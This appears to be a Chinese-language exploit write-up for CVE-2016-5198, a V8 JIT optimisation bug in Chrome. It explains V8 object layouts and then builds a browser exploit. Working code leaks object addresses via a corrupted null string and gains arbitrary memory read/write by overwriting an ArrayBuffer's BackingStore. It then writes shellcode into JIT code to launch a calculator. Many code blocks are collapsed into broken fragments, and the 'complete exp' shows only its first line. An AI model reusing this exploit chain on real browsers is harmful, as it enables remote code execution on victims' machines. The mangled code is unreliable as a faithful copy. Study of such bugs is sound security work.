case study:cve-2016-5198
bugs
https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6
poc
1 | function Ctor() { |
漏洞表现
Check
优化前
1 | --- Raw source --- |
优化后
1 | --- Raw source --- |
结论
据此,我们可以得出结论,在JIT优化之后,会直接从n中取出直接取出自定义属性数组中,对应于某属性偏移的字段,而不做任何合法性校验。
exploit
test
1 | function Check() { |
1 | 0x1c4269306d80 0 55 push rbp |
字符串类型
1 | 0x2b753502250: 0x00003182a4182361->null 0x00000000803b1506 |
JSFunction
表示JavaScript function的对象
- 继承Object, HeapObject, JSReceiver, JSObject
- 内存结构如下(在64位环境的情况下)
- 内存结构如下(在64位环境的情况下)
- 继承Object, HeapObject, JSReceiver, JSObject
实际演示
存放function f()在数组中
用0xdeadbee查找这个数组的内存位置
kCodeEntryOffset is a pointer to the JIT code (RWX area), many strategies to realize arbitrary code execution by writing shellcode before this
JSArrayBuffer
ArrayBuffer and TypedArray
- Originally ArrayBuffer
- 一个可以直接从JavaScript访问内存的特殊数组
- 但是,ArrayBuffer仅准备一个内存缓冲区
- BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
- 为了实际访问,有必要一起使用TypedArray或DataView
- 使用例子 (TypedArray版本)
- 创建方法1,仅指定长度,初始化为零
t_arr = new Uint8Array(128) //ArrayBuffer被创建在内部 - 创建方法2,使用特定值初始化
t_arr = new Uint8Array([4,3,2,1,0]) //ArrayBuffer被创建在内部 - 创建方法3,事先构建缓冲区并使用它
arr_buf = new ArrayBuffer(8);
t_arr1 = new Uint16Array(arr_buf); //创建一个Uint16数组
t_arr2 = new Uint16Array(arr_buf, 0, 4); //或者,您也可以指定数组的开始和结束位置
- 创建方法1,仅指定长度,初始化为零
- ArrayBuffer可以在不同的TypedArray之间共享
- 它也可以用于double和int的类型转换
- 类型转换的意义在于改变字节序列的解释,而不是转换
- 就像C语言的Union
- BackingStore——可以使用TypedArray指定的类型读取和写入该区域,例如作为原始数据数组访问的8位或32位内存
- ①预先准备ArrayBuffer
var ab = new ArrayBuffer(0x100); - ②向ArrayBuffer中写入一个Float64的值
var t64 = new Float64Array(ab);
t64[0] = 6.953328187651540e-310;//字节序列是0x00007fffdeadbeef
- ③从ArrayBuffer读取两个Uint32
var t32 = new Uint32Array(ab);
k = [t32[1],t32[0]]
k=[0x00007fff,0xdeadbeef] - 它也可以用于double和int的类型转换
- 一个可以直接从JavaScript访问内存的特殊数组
JSArrayBuffer
- 持有ArrayBuffer的对象
- 继承Object,HeapObject,JSReceiver,JSObject
- 内存结构如下(在64位环境的情况下)
- 内存结构如下(在64位环境的情况下)
- 继承Object,HeapObject,JSReceiver,JSObject
- 实际演示
- 存放TypedArray
- 使用长度0x13370搜索ArrayBuffer的内存位置
- 在V8中,对象通常被存放在由GC管理的mapped区域,然而BackingStore是一个不被GC管理的区域,并且被存放在heap中(在图中,可以看到malloc块有prev_size和size成员)
此外,由于它不是由GC管理的HeapObject,因此指向BackingStore的指针不是Tagged Value(末尾不能为1) - 虽然在ArrayBuffer中描述了大小,但如果将此值重写为较大的值,则可以允许读取和写入的长度,超出BackingStore数组的范围。
- 同样,如果您可以重写BackingStore指针,则可以读取和写入任意内存地址,这些是在exploit中常用的方法。
工具类准备
主要是用于double和int值的转换1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// int->double
// d2u(intaddr/0x100000000,intaddr&0xffffffff)
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num2;
d[1] = num1;
f = new Float64Array(d.buffer);
return f[0];
}
// double->int
// u2d(floataddr)
function u2d(num){
f = new Float64Array(1);
f[0] = num;
d = new Uint32Array(f.buffer);
return d[1] * 0x100000000 + d[0];
}leak ArrayBuffer和Function
- 触发漏洞,越界写null string的长度,写null string的value字段为obj
- charCodeAt读出null string的value内容,从而leak出来同理,leak出function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38var ab = new ArrayBuffer(0x200);
var n;
...
function Ctor() {
n = new Set();
}
function Check(obj){
n.xyz = 3.4766863919152113e-308; // do not modify string map
n.xyz1 = 0x0; // do not modify the value
n.xyz2 = 0x7000; // enlarge length of builtIn string 'null'
n.xyz3 = obj; // leak the Object
}
...
Ctor(); // 初始化n
Check(ab); //写入ArrayBuffer到value字段
// gdb-peda$ x/10gx 0x28767ae02240
// 0x28767ae02240: 0x0000083475082309 0x0000000000000000
// 0x28767ae02250: 0x0000083475082361 0x00000000803b1506
// 0x28767ae02260: 0x0000700000000000 0x000004ea79906839->ArrayBuffer
// 0x28767ae02270: 0x0000083475082361 0x00000000c5f6c42a
// 0x28767ae02280: 0x0000000600000000 0xdead7463656a626f
// gdb-peda$ job 0x000004ea79906839
// 0x4ea79906839: [JSArrayBuffer]
// - map = 0x3bcf5fc82db1 [FastProperties]
// - prototype = 0xb3e9b805599
// - elements = 0x28767ae02241 <FixedArray[0]> [FAST_HOLEY_SMI_ELEMENTS]
// - internal fields: 2
// - backing_store = 0x55ba589d0640
// - byte_length = 512
// - properties = {
// }
// - internal fields = {
// 0
// 0
// }
var str = new String(null);
var ab_addr = str.charCodeAt(0)*0x1+str.charCodeAt(1)*0x100+str.charCodeAt(2)*0x10000+str.charCodeAt(3)*0x1000000+str.charCodeAt(4)*0x100000000+str.charCodeAt(5)*0x10000000000+str.charCodeAt(6)*0x1000000000000+str.charCodeAt(7)*0x100000000000000;
print("0x"+ab_addr.toString(16));写null string的地址到它自己的value,从而可以通过写value来再次修改null string
这里为什么要这么做呢,原因其实在test里已经可以看到的,如果我们写一个smi到一个属性字段,当然可以直接写到该属性字段对应的偏移。
也就是如图xyz1,我直接写入了一个0x1821923f的smi,注意smi最大是多少呢,在64位和32位有所不同。
在64位平台上V8对smi定义的范围是[-2³¹,2³¹-1],即最大0x7fffffff,显然一个对象的地址会大于它,从而无法直接去写一个地址到该属性字段对应的偏移。
1 | gdb-peda$ x/20gx $rax-1 |
所以我们要写null string的地址到它自己的value,从而可以通过写value来再次修改null string。
1 | Check(String(null)); |
修改null string的hash字段为ArrayBuffer的length地址
这里我再次提醒一下为什么要写入这个地址。
之前我们说了,如果写一个smi,可以直接写入,但是如果要写入的数值大于smi,会把该属性字段的值当成一个指针,然后将这个数值写入到那个内存里。
就比如,我向null string的map字段(对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300
1 | function Check(obj){ |
1 | var m; |
所以说为了写入一个地址到ArrayBuffer的BackingStore,首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。
向null string的hash字段写入任意值,得到任意地址读写的原语
类似于我们上面写map一样,将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
在v8里,只要你能修改backingstore的值,就可以进行任意地址读写
于是就有了一个任意地址读写的原语。
于是我们先将func_addr写到backingstore,读到函数真正执行时候的code地址
1 | var l; |
再将取得的函数真正执行时候执行的函数地址,写入到backingstore,从而通过它进行任意地址写,写入我们的shellcode
1 | Check3(shellcode_addr_float); |
然后再执行这个被我们改了内容的函数,就可以弹计算器了。
1 | evil_f(); |
完整exp
1 | var ab = new ArrayBuffer(0x200); |